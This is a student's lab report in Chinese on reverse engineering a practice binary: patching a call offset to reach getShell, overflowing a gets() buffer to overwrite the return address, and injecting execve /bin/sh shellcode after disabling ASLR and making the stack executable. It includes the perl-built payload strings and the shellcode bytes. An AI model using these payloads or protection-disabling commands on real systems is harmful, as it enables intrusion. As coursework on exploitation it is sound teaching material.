2019-2020-2 网络对抗技术 20175206 Exp1 PC平台逆向破解
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码:
- NOP:空操作,机器码0x90
- JNE:不等则跳转,机器码0x75
- JE:相等则跳转,机器码0x74
- JMP:无条件跳转
Jmp short,机器码0xEB ;
Jmp near,机器码0xE9 ;
Jmp word,机器码0xFF ;
Jmp far,机器码0xEA
- CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
反汇编与十六进制编程器:
- 反汇编指令
objdump -d <文件名>
- 十六进制指令为
perl -e 'print "字符/字符串"' > <文件名>
%!xxd
进入十六进制编辑模式%!xxd -r
切换回原模式
实践内容
- 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 任务三:注入一个自己制作的shellcode并运行这段shellcode
实践过程
1.直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
(PS:为了防止操作失误,我将pwn1文件复制了三份,分别为20175206pwn1,20175206pwn2,20175206pwn3,但是其功能与pwn1一致)
-
运行
20175206pwn1
文件,查询其功能,得出其功能是将输入的字符串打印出来
-
使用命令
objdump -d 20175206pwn1 | more
得到反汇编之后的文件,找到实验中要求的三个函数main
foo
getshell
其中程序的功能是是main
函数调用了foo
函数,而没有运行getshell
函数,我们的目的是通过我们的修改,使getshell
函数能够运行。任务一的目的即是通过手工修改文件改变流程,运行原本不可访问的代码片段。
-
我们可以看到,在
main
函数中运行foo
函数的那条指令前面是e8 d7 ff ff ff
的字符串,其中当我们执行到call
指令的时候,EIP寄存器的值是下一条指令的地址,即图中的80484ba
加上e8 d7 ff ff ff
的地址后为8048491
,意为执行该条命令。
(PS:e8
为call
指令的意思,其d7 ff ff ff
为跳转的地址) -
根据计算器16进制计算可得
结果正确。
-
我们的目的是运行
getshell
函数,所以我们要去找到访问该函数的地址804847d
-
那么如果想调到
804847d
,其跳转值也应当相应的发生变化,即进行计算可知
-
将
d7ffffff
改为c3ffffff
即可达到目的,其过程如下:
vim 20175206pwn1
:%!xxd
/e8 d7
修改 d7 为 c3
:%!xxd -r
- 截图如下
- 效果检验,任务一完成(getshell函数运行,跳转成功)
任务三的目的即是注入自己制作的shellcode(运行任意代码),来运行这段不可访问的程序代码
通过构造输入参数,造成BOF攻击,改变程序执行流
任务二的目的即是利用函数中的漏洞,构造攻击字符串,强制修改程序执行流。
-
对20175206pwn2进行反汇编得
-
知识点:
首先应该明白,栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。下图为典型的存取器安排,观察栈在其中的位置
-
根据foo函数的代码可知,为如下图所示
(PS:gets
会在不做任何检查的情况下将输入的字符串复制到栈中。)
因为给临时变量预留的空间为0x1c
,也就是28个字节,因为有%ebp占用4个字节,所以我们如果想要覆盖返回地址则需要32个字节才能覆盖到返回地址。那么如果输出多个字节,则会造成溢出,导致返回地址改变,而我们希望的则是将其返回地址改变成getshell
函数的地址。
-
我们尝试覆盖,输入111122223333444455556666777788889999共36个字节,然后程序报了段错误,此时EIP的值为
0x39393939
,因为是机器码,所以是ascii码为39的,即9999
,恰巧是第33到第36个字节,也就是符合我们的预期(因为原先不影响返回地址的最多字节为32个),那么我们可以得出结论,将溢出的9999
改为804847d
即可调用getshell
-
因为无法输入十六进制,所以我们要借用perl函数,用
perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08\x0a"' > input
命令构造出16进制地址并将输入内容放进input文件里.因为我们的电脑是小端,所以地址应倒过来写,\0a是换行。输入xxd input
查看文件,然后输入(cat input; cat) | ./20175206pwn2
观察结果,发现成功调用getshell
函数,实验成功。
注入Shellcode并执行
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
准备工作
-
想注入shellcode就先要做好前期的准备工作,先下载必要的工具
execstack
,输入apt-get install execstack
进行工具下载
-
之后我们为了成功达成目标注入shellcode,就要进行如下的操作,其目的是为了让每次的结果一致,保证shellcode的注入,从图中我们可以看到准备工作均已完成。
execstack -s 20175206pwn3 //设置堆栈可执行
execstack -q 20175206pwn3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
- Linux下有两种基本构造攻击buf的方法:
retaddr + nop + shellcode
和nop + shellcode + retaddr
,这里我们使用第二种
在这里的shellcode
由于还是不太懂怎么编写了,就暂时先借用一下老师提供的shellcode
——————\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
1.我们注入我们的shellcode```\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00```
2.输入```(cat input_shellcode;cat) | ./20175206pwn3```进行注入
- 打开终端,查看进程号,可看见进程号为
2797
- 之后进入gdb输入attach 2797调试这个进程 输入命令disassemble foo查看ret的进程值为
080484ae
。输入命令break *0x080484ae
处设置断点。在之前那个终端按下回车,之后回现在这个终端输入c继续运行。输入info r esp
,查看栈顶指针。
发现注入的shellcode后面的retaddr
——————01020304
,这时候我们找其位置0xffffd6ac
,我们可以得出其shellcode
就在这个位置的前四位,即+4即可,即为0xffffd6b0
我们重新注入shellocode尝试perl -e 'print "A" x 32;print "\xb0\xd6\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
攻击成功!实验完成!
实验问题
实验收获与感想
本次实验是对汇编指令、缓冲区溢出原理,以及堆栈的等知识点的复习和实践,说实话在当时学的时候学的并不是很好,所以在做这次实验的时候真是需要一步一步跟着视频来,生怕错过了一些东西导致实验的失败,就是这样我也重做了三次,有的是找错指令了,有的是没有理解含义计算错误,有的是知识点还是没有办法理解导致的,比如shellcode
的编写。但是通过这次实验我觉得我对知识的掌握加深了一层,学到的知识马上被应用到实践当中,这样对于知识的掌握有很大的益处。通过这次实验我认识到我以前编写的程序极有可能有很大的漏洞,只是单纯浮于表面能实现规定功能,不能保证在实现功能的同时保证系统的安全,这也对我以后编写代码敲响了警钟。
什么是漏洞?漏洞有什么危害?
漏洞,指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。漏洞可能来自应用软件或操作系统设计时的缺陷或编码时产生的错误
漏洞可能使得看似安全的系统隐藏极大的危机,会被入侵者恶意利用,造成不可挽回的损失。